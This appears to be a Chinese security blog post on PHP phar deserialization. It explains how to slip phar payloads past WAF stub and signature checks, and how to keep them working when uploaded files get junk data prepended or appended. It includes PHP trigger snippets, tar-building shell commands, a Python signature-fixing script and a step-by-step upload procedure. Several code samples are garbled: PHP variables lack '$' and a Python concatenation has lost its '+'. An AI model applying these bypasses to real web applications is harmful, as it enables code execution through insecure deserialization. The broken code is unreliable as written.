Phar反序列化如何解决各种waf检测和脏数据的添加问题?
快来学爆,看完这些之后对phar的waf检测和脏数据的问题再也不用挠头了 本文首发于奇安信攻防社区: Phar反序列化如何解决各种waf检测和脏数据的添加问题?
phar支持的格式
phar文件可以是下面三种格式:
- zip .zip .phar.zip
- tar .tar .phar.tar .pahr..tar.gz .phar.tar.bz
- phar
.phar
.phar.bz2
bzip2 phar.phar
在实战中的利用
- 可以使用压缩包的方法直接将数据压缩为
zip
,tar
,tar.gz
,tar.bz
从而绕过stub
或反序列化字段的检测(zip不会压缩反序列化数据段) - 可以使用
.phar格式修复
的方法解决phar文件头部(使用phar)或者文件尾(使用tar)被添加脏数据的问题
zip添加脏数据 — 头尾均可添加脏数据但是phar无法解析
https://github.com/phith0n/PaddingZip
代码语言:javascript复制python paddingzip.py -i ../test.phar.zip -o ../test1.phar.zip --prepend "this prepend to the start" --append "this append to the end"
此外在readme手册中还提到可以在linux中通过以下方式添加脏数据:
代码语言:javascript复制$ echo -n "prepend" > f
$ cat f a.zip > b.zip
$ zip -F b.zip --out c.zip
在phar中的使用限制
ZIP格式的文件头尾都可以有脏字符,通过对偏移量的修复就可以重新获得一个合法的zip文件。但是否遵守这个规则,仍然取决于zip解析器,经过测试,phar解析器如果发现文件头不是zip格式,即使后面偏移量修复完成,也将触发错误
虽然zip添加不了脏数据让人大失所望,但是却在这里看到了zip却只要将phar的内容写进压缩包注释中,也同样能够反序列化,而且压缩后的zip数据也可以绕过stub检测,但是过不了反序列化数据检测(和Phar执行zip生成格式差不多,但是挺有意思的记一下吧)
代码语言:javascript复制<?php
class test{
public function __wakeup(){
var_dump(__FUNCTION__);
}
}
phar_file = serialize(new test());zip = new ZipArchive();
res =zip->open('justzip.zip',ZipArchive::CREATE);
zip->addFromString('h0cksr.txt', 'file content goes here');zip->setArchiveComment(phar_file);zip->close();
readfile("phar://justzip.zip");
- Java -jar执行这个带脏字符的jar包时会失败
- PHP无法解析
- 7zip无法解析
tar添加脏数据 — 可以在文件尾添加脏数据且phar正常解析
对于tar格式,如果能控制文件头,即可构造合法的tar文件,即使文件尾有垃圾字符
这个测试的话毫无技术要求,直接使用010打开tar
文件, 然后触发调用可以看到phar反序列化还是被正常执行了
<?php
//class test{
// public function __wakeup(){
// var_dump(__FUNCTION__);
// }
//}
//phar=new phar('test.phar');//后缀名必须为phar
//phar = phar->convertToExecutable(Phar::TAR);
//phar->startBuffering();
/*phar->setStub("<?php __HALT_COMPILER();?>");//设置stub*/
//obj=new test();
//phar->setMetadata(obj);//自定义的meta-data存入manifest
//phar->addFromString("flag.txt","flag{h0cksr}");//添加要压缩的文件
////签名自动计算
//phar->stopBuffering();
//?>
<?php
class test{
public function __wakeup(){
var_dump(__FUNCTION__);
}
}
var_dump(
file_get_contents("compress.zlib://phar://test1.phar.tar/flag.txt")//未修改,读取数据失败,反序列化触发成功
);
var_dump(
file_get_contents("compress.zlib://phar://test2.phar.tar/flag.txt")//文件头添加内容,读取数据失败,反序列化触发失败
);
var_dump(
file_get_contents("compress.zlib://phar://test3.phar.tar/flag.txt")//文件尾添加内容,读取数据失败,反序列化触发成功
);
此外还在使用 tar 绕过签名看到可以直接使用打包一个只放了反序列化数据的.metadata
文件生成的.tar压缩包可以直接用来触发反序列化
linux环境下执行 mkdir test;cd test mkdir .phar;cd .phar echo 'O:4:"test":0:{}' > .metadata cd ../.. tar -cf phar.tar .phar/ 生成的
phar.tar
可以直接通过phar://phar.tar
触发反序列化
pahr文件 — 可以在文件头添加脏数据且phar正常解析
phar格式,必须控制文件尾,但不需要控制文件头
。PHP在解析时会在文件内查找<?php __HALT_COMPILER(); ?>
这个标签,这个标签前面的内容可以为任意值,但后面的内容必须是phar格式,并以该文件的sha1签名与字符串GBMB
结尾。
phar格式可以直接在文件头加脏数据并且还能正常反序列化, 但是这点需要重新计算一下签名, 下面就是修正签名的脚本
代码语言:javascript复制import hashlib
with open('phar.phar', 'rb') as f:
content = f.read()
text = content[:-28]
end = content[-8:]
sig = hashlib.sha1(text).digest()
with open('phar_new.phar', 'wb ') as f:
f.write(text sig end)
(pahr默认使用sha1加密就是有20字节
的签名生成结果, 在签名后面还有8字节
,前4字节表示文件使用的签名算法
,最后四字节固定用于表示该文件存在签名
)
phar文件内容=数据段 签名(默认sha1有20字节大小) 签名方式(4字节) 声明文件有无签名(4字节)
除了sha1之外phar还可以使用 MD5, SHA256, SHA512, OpenSSL
生成签名
签名是前面全部数据段
的内容根据加密算法加密得到的结果
所以当我们想要利用phar触发反序列化但是上传的文件在头部被添加了脏数据的话我们可以通过以下方法构造可利用的phar文件:
- 先生成正常的的
.pahr
文件 - 往文件头部添加脏数据
- 使用上面代码改正签名
- 使用010editor将头部的脏数据删除
- 上传文件
源码跟踪
挖坑, 等学会gdb之后再和今天发现的一些问题通过一起看源码 调试解决
别的一点
这是在p牛说到的几点,记一下hh:
- unzip命令解压时会忽略前置脏字符
- Java解析Zip包会忽略前置脏字符
- Python解析Zip包会忽略前置脏字符